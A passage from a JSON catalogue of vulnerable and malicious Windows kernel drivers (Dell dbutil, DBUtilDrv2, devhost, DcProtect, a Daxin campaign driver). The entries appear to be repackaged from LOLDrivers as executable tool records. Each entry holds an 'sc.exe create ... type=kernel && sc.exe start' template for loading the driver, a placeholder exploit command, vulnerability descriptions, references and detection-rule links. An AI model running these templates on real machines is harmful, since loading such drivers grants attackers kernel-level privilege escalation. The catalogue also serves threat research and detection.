      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank6.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank6.sys     type=kernel && sc.exe start daxin_blank6.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank6.sys\"\n\n# daxin_blank6.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank6.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank6.sys binPath=C:\\windows\\temp\\daxin_blank6.sys     type=kernel && sc.exe start daxin_blank6.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank6",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank6.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank6.sys binPath=C:\\windows\\temp\\daxin_blank6.sys     type=kernel && sc.exe start daxin_blank6.sys"
        ]
      }
    ],
    "name": "daxin_blank6.sys",
    "namespace": "windows:kernel:daxin-blank6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dbk64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dbk64.sys type=kernel && sc.exe start dbk64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dbk64.sys\"\n\n# dbk64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dbk64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create dbk64.sys binPath=C:\\windows\\temp\\dbk64.sys type=kernel && sc.exe start dbk64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dbk64",
    "install": [
      {
        "method": "custom",
        "description": "Load dbk64.sys kernel driver",
        "commands": [
          "sc.exe create dbk64.sys binPath=C:\\windows\\temp\\dbk64.sys type=kernel && sc.exe start dbk64.sys"
        ]
      }
    ],
    "name": "dbk64.sys",
    "namespace": "windows:kernel:dbk64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dbutil.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dbutil.sys type=kernel && sc.exe start dbutil.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dbutil.sys\"\n\n# dbutil.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dbutil.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create dbutil.sys binPath=C:\\windows\\temp\\dbutil.sys type=kernel && sc.exe start dbutil.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dbutil",
    "install": [
      {
        "method": "custom",
        "description": "Load dbutil.sys kernel driver",
        "commands": [
          "sc.exe create dbutil.sys binPath=C:\\windows\\temp\\dbutil.sys type=kernel && sc.exe start dbutil.sys"
        ]
      }
    ],
    "name": "dbutil.sys",
    "namespace": "windows:kernel:dbutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dbutil_2_3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dbutil_2_3.sys type=kernel && sc.exe start dbutil_2_3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dbutil_2_3.sys\"\n\n# dbutil_2_3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dbutil-2-3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create dbutil_2_3.sys binPath=C:\\windows\\temp\\dbutil_2_3.sys type=kernel && sc.exe start dbutil_2_3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dbutil-2-3",
    "install": [
      {
        "method": "custom",
        "description": "Load dbutil_2_3.sys kernel driver",
        "commands": [
          "sc.exe create dbutil_2_3.sys binPath=C:\\windows\\temp\\dbutil_2_3.sys type=kernel && sc.exe start dbutil_2_3.sys"
        ]
      }
    ],
    "name": "dbutil_2_3.sys",
    "namespace": "windows:kernel:dbutil-2-3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DBUtilDrv2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DBUtilDrv2.sys type=kernel && sc.exe start DBUtilDrv2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DBUtilDrv2.sys\"\n\n# DBUtilDrv2.sys\n\nDell DBUtilDrv2.sys versions 2.5, 2.6, and 2.7 all contain a write-what-where condition allowing kernel memory read/write. Dell released v2.7 as a remediation for CVE-2021-36276 but the fix was incomplete. Rapid7 confirmed v2.7 retains the kernel memory primitive and published the dellicious PoC and a Metasploit module (post/windows/manage/dell_memory_protect) that works against both v2.5 and v2.7. Dell categorized the v2.7 issue as a weakness rather than a vulnerability, stating it requires admin privileges.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dbutildrv2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Dell DBUtilDrv2.sys versions 2.5, 2.6, and 2.7 all contain a write-what-where condition allowing kernel memory read/write. Dell released v2.7 as a remediation for CVE-2021-36276 but the fix was incomplete. Rapid7 confirmed v2.7 retains the kernel memory primitive and published the dellicious PoC and a Metasploit module (post/windows/manage/dell_memory_protect) that works against both v2.5 and v2.7. Dell categorized the v2.7 issue as a weakness rather than a vulnerability, stating it requires ...",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create DBUtilDrv2.sys binPath=C:\\windows\\temp\\DBUtilDrv2.sys type=kernel && sc.exe start DBUtilDrv2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-dbutildrv2",
    "install": [
      {
        "method": "custom",
        "description": "Load DBUtilDrv2.sys kernel driver",
        "commands": [
          "sc.exe create DBUtilDrv2.sys binPath=C:\\windows\\temp\\DBUtilDrv2.sys type=kernel && sc.exe start DBUtilDrv2.sys"
        ]
      }
    ],
    "name": "DBUtilDrv2.sys",
    "namespace": "windows:kernel:dbutildrv2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      },
      {
        "label": "Reference",
        "url": "https://www.bleepingcomputer.com/news/security/dell-driver-fix-still-allows-windows-kernel-level-attacks/"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/db/modules/post/windows/manage/dell_memory_protect/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DcProtect.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DcProtect.sys type=kernel && sc.exe start DcProtect.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DcProtect.sys\"\n\n# DcProtect.sys\n\nbundled with chinese application \"DrvCeo\" is a set of rootkits. The malicious functionality. prevents registry value writing where the registry key or value includes \"dcprotect\" or \"drvceo\". Prevents file deletion if pathname contains \"driverdownload\", \"program files\\sysceo\", \"program files (x86)\\sysceo\"\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dcprotect.md",
    "author": "Wack0",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "bundled with chinese application \"DrvCeo\" is a set of rootkits. The malicious functionality. prevents registry value writing where the registry key or value includes \"dcprotect\" or \"drvceo\". Prevents file deletion if pathname contains \"driverdownload\", \"program files\\sysceo\", \"program files (x86)\\sysceo\"",
    "execution": {
      "template": "sc.exe create DcProtect.sys binPath=C:\\windows\\temp\\DcProtect.sys type=kernel && sc.exe start DcProtect.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-dcprotect",
    "install": [
      {
        "method": "custom",
        "description": "Load DcProtect.sys kernel driver",
        "commands": [
          "sc.exe create DcProtect.sys binPath=C:\\windows\\temp\\DcProtect.sys type=kernel && sc.exe start DcProtect.sys"
        ]
      }
    ],
    "name": "DcProtect.sys",
    "namespace": "windows:kernel:dcprotect",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/154"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/user/slipstream"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dcr.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dcr.sys type=kernel && sc.exe start dcr.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dcr.sys\"\n\n# dcr.sys\n\nDriveCrypt Dcr.sys vulnerability exploit for bypassing x64 DSE\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dcr.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "DriveCrypt Dcr.sys vulnerability exploit for bypassing x64 DSE",
    "execution": {
      "template": "sc.exe create dcr.sys binPath=C:\\windows\\temp\\dcr.sys type=kernel && sc.exe start dcr.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-dcr",
    "install": [
      {
        "method": "custom",
        "description": "Load dcr.sys kernel driver",
        "commands": [
          "sc.exe create dcr.sys binPath=C:\\windows\\temp\\dcr.sys type=kernel && sc.exe start dcr.sys"
        ]
      }
    ],
    "name": "dcr.sys",
    "namespace": "windows:kernel:dcr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/wjcsharp/DriveCrypt"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DDDriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DDDriver.sys type=kernel && sc.exe start DDDriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DDDriver.sys\"\n\n# DDDriver.sys\n\nDDDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dddriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "DDDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create DDDriver binPath=C:\\windows\\temp\\DDDriver.sys type=kernel && sc.exe start DDDriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dddriver",
    "install": [
      {
        "method": "custom",
        "description": "Load DDDriver.sys kernel driver",
        "commands": [
          "sc.exe create DDDriver binPath=C:\\windows\\temp\\DDDriver.sys type=kernel && sc.exe start DDDriver"
        ]
      }
    ],
    "name": "DDDriver.sys",
    "namespace": "windows:kernel:dddriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dddriver64Dcsa binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dddriver64Dcsa.sys type=kernel && sc.exe start dddriver64Dcsa\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dddriver64Dcsa.sys\"\n\n# dddriver64Dcsa.sys\n\ndddriver64Dcsa.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dddriver64dcsa.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "dddriver64Dcsa.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create dddriver64Dcsa binPath=C:\\windows\\temp\\dddriver64Dcsa.sys type=kernel && sc.exe start dddriver64Dcsa",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dddriver64dcsa",
    "install": [
      {
        "method": "custom",
        "description": "Load dddriver64Dcsa.sys kernel driver",
        "commands": [
          "sc.exe create dddriver64Dcsa binPath=C:\\windows\\temp\\dddriver64Dcsa.sys type=kernel && sc.exe start dddriver64Dcsa"
        ]
      }
    ],
    "name": "dddriver64Dcsa.sys",
    "namespace": "windows:kernel:dddriver64dcsa",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dellbiossys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dellbiossys.sys type=kernel && sc.exe start dellbiossys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dellbios.sys\"\n\n# dellbios.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dellbios.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create dellbiossys binPath= C:\\windows\\temp\\dellbiossys.sys type=kernel && sc.exe start dellbiossys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-dellbios",
    "install": [
      {
        "method": "custom",
        "description": "Load dellbios.sys kernel driver",
        "commands": [
          "sc.exe create dellbiossys binPath= C:\\windows\\temp\\dellbiossys.sys type=kernel && sc.exe start dellbiossys"
        ]
      }
    ],
    "name": "dellbios.sys",
    "namespace": "windows:kernel:dellbios",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dellinstrumentation.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dellinstrumentation.sys type=kernel && sc.exe start dellinstrumentation.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dellinstrumentation.sys\"\n\n# dellinstrumentation.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dellinstrumentation.md",
    "author": "Dor00tkit",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create dellinstrumentation.sys binPath=C:\\windows\\temp\\dellinstrumentation.sys type=kernel && sc.exe start dellinstrumentation.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dellinstrumentation",
    "install": [
      {
        "method": "custom",
        "description": "Load dellinstrumentation.sys kernel driver",
        "commands": [
          "sc.exe create dellinstrumentation.sys binPath=C:\\windows\\temp\\dellinstrumentation.sys type=kernel && sc.exe start dellinstrumentation.sys"
        ]
      }
    ],
    "name": "dellinstrumentation.sys",
    "namespace": "windows:kernel:dellinstrumentation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://dor00tkit.github.io/Dor00tkit/posts/from-admin-to-kernel-one-year-one-driver-zero-attention/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create devhost binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\devhost.sys type=kernel && sc.exe start devhost\"\n\n# devhost.sys\n\ndevhost.sys is a WHQL attestation-signed kernel driver that exposes arbitrary memory read primitives to usermode. The device object at \\\\.\\devhost has no ACL beyond a device handle. At load, the driver reads IA32_LSTAR MSR to locate ntoskrnl base via backward MZ walk, then dynamically resolves APIs (including MmMapIoSpace and MmCopyMemory) using a djb2-style hash algorithm over the PE export directory. Only 11 benign imports are visible statically. The system CR3 is leaked to user-mode at DriverEntry. Authentication uses a hardcoded magic cookie via IOCTL 0x28E017. IOCTL 0x28E01B accepts a caller-supplied CR3 and target virtual address, performs a manual 4-level x64 page-table walk (PML4-PDPT-PD-PT), and reads physical memory via MmMapIoSpace. Additional IOCTLs expose NtBuildNumber, PsLoadedModuleList, and per-CPU KPCR CurrentThread. Nextron Research noted that these primitives are tailor-made for credential theft (e.g. LSASS memory dumping), though no confirmed malicious usage has been publicly documented. WHQL attestation signed with active cert (Nov 2025-Nov 2026). SpcSpOpusInfo identifies the submitter as Shenzhen Aolian Information Security Technology Co Ltd.\n\n**Use Case:** Arbitrary kernel memory read via page-table walk and MmMapIoSpace\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-devhost.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "devhost.sys is a WHQL attestation-signed kernel driver that exposes arbitrary memory read primitives to usermode. The device object at \\\\.\\devhost has no ACL beyond a device handle. At load, the driver reads IA32_LSTAR MSR to locate ntoskrnl base via backward MZ walk, then dynamically resolves APIs (including MmMapIoSpace and MmCopyMemory) using a djb2-style hash algorithm over the PE export directory. Only 11 benign imports are visible statically. The system CR3 is leaked to user-mode at Dri...",
    "execution": {
      "template": "sc.exe create devhost binPath=C:\\windows\\temp\\devhost.sys type=kernel && sc.exe start devhost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-devhost",
    "install": [
      {
        "method": "custom",
        "description": "Load devhost.sys kernel driver",
        "commands": [
          "sc.exe create devhost binPath=C:\\windows\\temp\\devhost.sys type=kernel && sc.exe start devhost"
        ]
      }
    ],
    "name": "devhost.sys",
    "namespace": "windows:kernel:devhost",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://x.com/nextaboratory/status/1914729845602783262"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create devMemDrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\devMemDrv.sys type=kernel && sc.exe start devMemDrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver devMemDrv.sys\"\n\n# devMemDrv.sys\n\ndevMemDrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-devmemdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "devMemDrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create devMemDrv binPath=C:\\windows\\temp\\devMemDrv.sys type=kernel && sc.exe start devMemDrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-devmemdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load devMemDrv.sys kernel driver",
        "commands": [
          "sc.exe create devMemDrv binPath=C:\\windows\\temp\\devMemDrv.sys type=kernel && sc.exe start devMemDrv"
        ]
      }
    ],
    "name": "devMemDrv.sys",
    "namespace": "windows:kernel:devmemdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Dh_Kernel.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Dh_Kernel.sys type=kernel && sc.exe start Dh_Kernel.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Dh_Kernel.sys\"\n\n# Dh_Kernel.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dh-kernel.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Dh_Kernel.sys binPath=C:\\windows\\temp\\Dh_Kernel.sys type=kernel && sc.exe start Dh_Kernel.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
